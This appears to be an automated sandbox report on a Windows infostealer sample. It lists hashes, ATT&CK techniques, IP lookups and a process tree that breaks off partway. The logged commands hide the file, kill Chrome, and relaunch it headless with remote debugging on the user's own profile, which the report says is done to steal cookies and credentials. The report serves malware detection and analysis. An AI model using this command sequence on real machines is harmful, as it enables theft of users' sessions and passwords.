c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0

Analysis

max time kernel
150s
max time network
134s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
09/09/2026, 07:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe
Size 11.0MB
Sample260909-jbeqtsbe39
SHA256 c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0
MD5 27988077ad81564ef74987a05b6ed364
SHA1 798717e5dde9bd07336215615375033ca36d0a48
SHA512 e2f8528a3fb653d029f79afcf7590b4cbefdaac6ece096c9756dc514a054db412fa01d54284f05a7c325044e315a43058470581e0736184b3257c4154092a424
SSDEEP 98304:+Jrt42cRwFCMzHiYqyXK1KnXswkEc2Lq//Rfc:+J5uUCMTibyXKQLDm/pfc
TLSH
T1FBC65A57ECA145E9C0AAE1348A679217BEB17C485F3063D32B60F6242F37BD0ADB9750
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access defense_evasion discovery spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 19 IoCs

Can be used to control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
3384	msedge.exe
3268	chrome.exe
3756	chrome.exe
4884	chrome.exe
3320	chrome.exe
4696	chrome.exe
1072	chrome.exe
5420	msedge.exe
5944	msedge.exe
4220	msedge.exe
2888	chrome.exe
5960	chrome.exe
5596	msedge.exe
3160	chrome.exe
3212	chrome.exe
3016	chrome.exe
5784	chrome.exe
4244	chrome.exe
3760	chrome.exe

Executes dropped EXE 8 IoCs

pid	Process
4312	chrom.exe
4800	chrom.exe
4980	chrom.exe
3352	chrom.exe
4388	chrom.exe
4292	chrom.exe
3896	chrom.exe
5596	chrom.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Looks up external IP address via web service 1 TTPs 3 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
1	ip-api.com
2	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Time Discovery 1 TTPs 4 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2888	chrome.exe
3124	msedge.exe
3076	chrome.exe
5688	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe

GoLang User-Agent 1 IoCs

Uses default user-agent string defined by GoLang HTTP packages.

description	flow	ioc
HTTP User-Agent header	3	Go-http-client/1.1

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
4836	taskkill.exe
2260	taskkill.exe
4768	taskkill.exe

Modifies data under HKEY_USERS 9 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134334125935725812"	chrome.exe
Key created	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\NGC\SoftLockoutVolatileKey	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19	svchost.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3076	chrome.exe
3076	chrome.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 17 IoCs

pid	Process
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
3160	chrome.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
5420	msedge.exe
3160	chrome.exe
3160	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4836	taskkill.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeDebugPrivilege	2260	taskkill.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeDebugPrivilege	4768	taskkill.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe
Token: SeCreatePagefilePrivilege	3160	chrome.exe
Token: SeShutdownPrivilege	3160	chrome.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3160	chrome.exe
5420	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3044 wrote to memory of 6044	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	90
PID 3044 wrote to memory of 4836	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	91
PID 3044 wrote to memory of 3160	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	93
PID 3160 wrote to memory of 2036	3160	chrome.exe	94
PID 3160 wrote to memory of 1176	3160	chrome.exe	95
PID 3160 wrote to memory of 1176	3160	chrome.exe	95
PID 3160 wrote to memory of 2888	3160	chrome.exe	96
PID 3160 wrote to memory of 2768	3160	chrome.exe	97
PID 3160 wrote to memory of 2768	3160	chrome.exe	97
PID 3160 wrote to memory of 3320	3160	chrome.exe	99
PID 3160 wrote to memory of 3212	3160	chrome.exe	100
PID 3160 wrote to memory of 3320	3160	chrome.exe	99
PID 3160 wrote to memory of 3212	3160	chrome.exe	100
PID 3160 wrote to memory of 5960	3160	chrome.exe	101
PID 3160 wrote to memory of 5960	3160	chrome.exe	101
PID 3160 wrote to memory of 2812	3160	chrome.exe	102
PID 3160 wrote to memory of 2812	3160	chrome.exe	102
PID 3160 wrote to memory of 3728	3160	chrome.exe	103
PID 3160 wrote to memory of 3016	3160	chrome.exe	104
PID 3160 wrote to memory of 3016	3160	chrome.exe	104
PID 3160 wrote to memory of 4696	3160	chrome.exe	105
PID 3160 wrote to memory of 4696	3160	chrome.exe	105
PID 3160 wrote to memory of 1072	3160	chrome.exe	106
PID 3160 wrote to memory of 1072	3160	chrome.exe	106
PID 3160 wrote to memory of 3268	3160	chrome.exe	107
PID 3160 wrote to memory of 3268	3160	chrome.exe	107
PID 3160 wrote to memory of 3756	3160	chrome.exe	110
PID 3160 wrote to memory of 3756	3160	chrome.exe	110
PID 3160 wrote to memory of 5784	3160	chrome.exe	111
PID 3160 wrote to memory of 5784	3160	chrome.exe	111
PID 3160 wrote to memory of 4244	3160	chrome.exe	112
PID 3160 wrote to memory of 4244	3160	chrome.exe	112
PID 3160 wrote to memory of 3760	3160	chrome.exe	113
PID 3160 wrote to memory of 3760	3160	chrome.exe	113
PID 3044 wrote to memory of 2260	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	114
PID 3044 wrote to memory of 5420	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	115
PID 5420 wrote to memory of 4888	5420	msedge.exe	116
PID 5420 wrote to memory of 2348	5420	msedge.exe	117
PID 5420 wrote to memory of 3124	5420	msedge.exe	119
PID 5420 wrote to memory of 2348	5420	msedge.exe	117
PID 5420 wrote to memory of 2348	5420	msedge.exe	117
PID 5420 wrote to memory of 5188	5420	msedge.exe	120
PID 5420 wrote to memory of 5188	5420	msedge.exe	120
PID 5420 wrote to memory of 3384	5420	msedge.exe	121
PID 5420 wrote to memory of 5944	5420	msedge.exe	122
PID 5420 wrote to memory of 3384	5420	msedge.exe	121
PID 5420 wrote to memory of 3384	5420	msedge.exe	121
PID 5420 wrote to memory of 5944	5420	msedge.exe	122
PID 5420 wrote to memory of 5944	5420	msedge.exe	122
PID 5420 wrote to memory of 5596	5420	msedge.exe	123
PID 5420 wrote to memory of 5596	5420	msedge.exe	123
PID 5420 wrote to memory of 5596	5420	msedge.exe	123
PID 5420 wrote to memory of 4220	5420	msedge.exe	124
PID 5420 wrote to memory of 4220	5420	msedge.exe	124
PID 5420 wrote to memory of 4220	5420	msedge.exe	124
PID 3044 wrote to memory of 4768	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	125
PID 3044 wrote to memory of 4312	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	126
PID 3160 wrote to memory of 3076	3160	chrome.exe	127
PID 4312 wrote to memory of 4840	4312	chrom.exe	129
PID 4312 wrote to memory of 4840	4312	chrom.exe	129
PID 3044 wrote to memory of 4800	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	131
PID 3160 wrote to memory of 5688	3160	chrome.exe	132
PID 3044 wrote to memory of 4980	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	133
PID 3044 wrote to memory of 3352	3044	c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe	134

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
6044	attrib.exe

C:\Users\Admin\AppData\Local\Temp\c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe
"C:\Users\Admin\AppData\Local\Temp\c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3044
- C:\Windows\system32\attrib.exe
  attrib +h +s C:\Users\Admin\AppData\Local\Temp\c0e1baade881a2ade64dcde4fc79e99708057848f9565338f263d794ecb50bf0.exe
  2⤵
  - Views/modifies file attributes
  PID:6044
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM chrome.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4836
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --remote-allow-origins=* --headless "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data"
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ffd3792c728,0x7ffd3792c734,0x7ffd3792c740
    3⤵
    PID:2036
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1832 /prefetch:2
    3⤵
    PID:1176
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:11
    3⤵
    - System Time Discovery
    PID:2888
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2416 /prefetch:13
    3⤵
    PID:2768
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3160 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3320
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3168 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3212
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4460 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5960
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4612 /prefetch:14
    3⤵
    PID:2812
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5216 /prefetch:14
    3⤵
    PID:3728
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5324 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3016
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5344 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4696
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5360 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5612 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3268
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5564 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:5784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5952 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4244
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --remote-debugging-port=9222 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6092 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3760
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3656 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3076
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2096 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5688
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5960 /prefetch:14
    3⤵
    PID:1932
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1968 /prefetch:14
    3⤵
    PID:4464
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5996 /prefetch:14
    3⤵
    PID:2944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:14
    3⤵
    PID:4524
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=6052 /prefetch:14
    3⤵
    PID:2784
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1836,i,329657841565775793,16796005587487711559,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:14
    3⤵
    PID:4660
- - C:\Program Files\Google\Chrome\Application\chrome.exe
